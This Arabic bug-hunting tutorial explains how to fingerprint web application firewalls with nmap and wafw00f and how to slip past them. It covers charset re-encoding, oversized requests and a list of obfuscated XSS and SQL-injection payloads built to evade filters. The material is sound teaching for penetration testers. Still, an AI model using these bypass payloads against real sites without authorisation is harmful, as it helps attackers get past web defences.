نصائح و حيل لاكتشاف الثغرات الامنيه اثناء عمليه الـ Bug Hunting

Vulnerabilities
سنستكشف طريقة عمل جدران حماية تطبيقات الويب ونناقش التحديات التي يواجهها مختبرو الاختراق عند محاولة تجاوزها.
Ahmed Shibl
June 19, 2023, 10 p.m.
ahmedshipl
نصائح و حيل لاكتشاف الثغرات الامنيه اثناء عمليه الـ Bug Hunting

جدران حماية تطبيقات الويب (Web Application Firewalls) هي تقنية مهمة في مجال أمان التطبيقات على الويب. تعمل هذه الجدران على حماية التطبيقات من هجمات الاختراق والتهديدات الأمنية عن طريق مراقبة وتحليل حركة المرور الواردة والصادرة من التطبيقات. في هذه المقالة، سنستكشف طريقة عمل جدران حماية تطبيقات الويب ونناقش التحديات التي يواجهها مختبرو الاختراق عند محاولة تجاوزها.

ما هي جدران حماية تطبيقات الويب؟

أجهزة الحماية من الهجمات على تطبيقات الويب (WAFs) هي حلول أمنية تستخدم لتصفية وحظر طلبات الويب الضارة. بعض الشركات المتخصصة في هذا المجال تشمل CloudFlare، AWS، Citrix، Akamai، Radware، Microsoft Azure، Barracuda.

كيف يمكن الكشف عن نوع الـ WAF؟

 

بشكل يدوى:

عن طريق ارسال طلب HTTP ضار و بالطبع هذا بحد ذاته سيجعل الـ WAF يعمل ليحظر الطلب 

مثال :

https://example.com/?p4yl04d3=<script>alert(document.cookie)</script>

 

سيقوم بالطبع بالرد بطرق مختلفه و لكن واحدة من تلك الطرق هي حظرك برد Status code 400

عن طريق الـ Network DevTool tab في المتصفح الخاص بك او Curl او Web Proxy tool نجد:

1- في server header (server : cloudeflare)

2- ان يكون هناك header اضافي في الرد متعلق بالـ WAF مثل  CF-RAY: xxxxxxxxxxx

3- كوكيز تم وضعها من قبل الـ WAF مثل Set-Cookie: __cfduid=xxxxx

بشكل آلي:

باستخدام بعض الادوات المشهوره مثل :

1- Nmap 

تحتوي Nmap علي (NSE) Nmap Script Engine علي بعض من الـ Scripts للكشف عن نوع الـ WAF

$ nmap --script=http-waf-fingerprint,http-waf-detect -p443 example.com
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 21:43 PDT
Nmap scan report for example.com (xxx.xxx.xxx.xxx)
Host is up (0.20s latency).

PORT STATE SERVICE
443/tcp open https
| http-waf-detect: IDS/IPS/WAF detected:
|_example.com:443/?p4yl04d3=<script>alert(document.cookie)</script>

Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds

2- wafw00

 هي اداه مشهوره ايضا للكشف عن نوع الـ WAF 

$ wafw00f example.com

و غيرهم من الادوات المستخدمه للكشف عن الـ WAF

تخطي الـ WAF

هناك العديد من الطرق لتخطي الـ WAF و التحايل عليه منها :

1- Charset

هذه التقنية تتضمن تعديل Header Content-Type لاستخدام ترميز حروف مختلف (مثل ibm500). يمكن أن يؤدي عدم تكوين جدار الحماية (WAF) للكشف عن الطلبات الضارة بترميزات مختلفة إلى عدم التعرف على الطلب كطلب ضار. يمكن تنفيذ ترميز ترميز الحروف باستخدام لغة Python.

# Charset encoding

application/x-www-form-urlencoded;charset=ibm037

multipart/form-data; charset=ibm037,boundary=blah

multipart/form-data; boundary=blah; charset=ibm037


##Python code

import urllib

s = 'payload'

print(urllib.parse.quote_plus(s.encode("IBM037")))


## Request example

GET / HTTP/1.1

Host: buggy

Content-Type: application/x-www-form-urlencoded; charset=ibm500

Content-Length: 61

%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n

2- Regex Bypasses

يمكن استخدام تقنيات مختلفة لتجاوز عملية تصفية التعابير العادية (regex) في جدران الحماية. تتضمن الأمثلة تغيير حالة الأحرف بالتناوب، وإضافة فواصل الأسطر، وترميز الطلب الدار.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag

<<script>alert(XSS)</script> #prepending an additional "<"

<script>alert(XSS) // #removing the closing tag

<script>alert`XSS`</script> #using backticks instead of parenetheses

java%0ascript:alert(1) #using encoded newline characters

<iframe src=http://malicous.com < #double open angle brackets

<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags

<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters

Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt

javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding

<iframe src="javascript:alert(`xss`)"> #unicode encoding

/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement

new Function`alt\`6\``; #using backticks instead of parentheses

data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript

%26%2397;lert(1) #using HTML encoding

<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

3- Content size

من الشائع في أنظمة حماية تطبيقات الويب أنه إذا كان الطلب الضار يتجاوز حجمًا معينًا (X)، فإن الجدار الناري لن يقوم بفحص الطلب. يمكنك ببساطة استغلال ذلك لتجاوزها.

الملخص 

جدران حماية تطبيقات الويب تعتبر أداة قوية لحماية التطبيقات من هجمات الاختراق وتهديدات الأمان. ومع ذلك، يجب على مطوري التطبيقات ومختبري الاختراق أن يكونوا على دراية بتحديات تجاوزها وكيفية التعامل معها بشكل فعال. عن طريق اتباع أفضل الممارسات واستخدام الأدوات والتقنيات المناسبة، يمكن تحسين فعالية جدران حماية تطبيقات الويب وضمان أمان التطبيقات على الويب.

يرجى ملاحظة أنه بناءً على طبيعة التكنولوجيا والأنظمة المستخدمة، قد يختلف التجاوز الفعلي لجدران حماية تطبيقات الويب من حالة إلى حالة، ويجب دائمًا احترام الأنظمة والتعامل معها بشكل قانوني وأخلاقي.

المصادر


Bug Hunting CyberSecurity Security WAF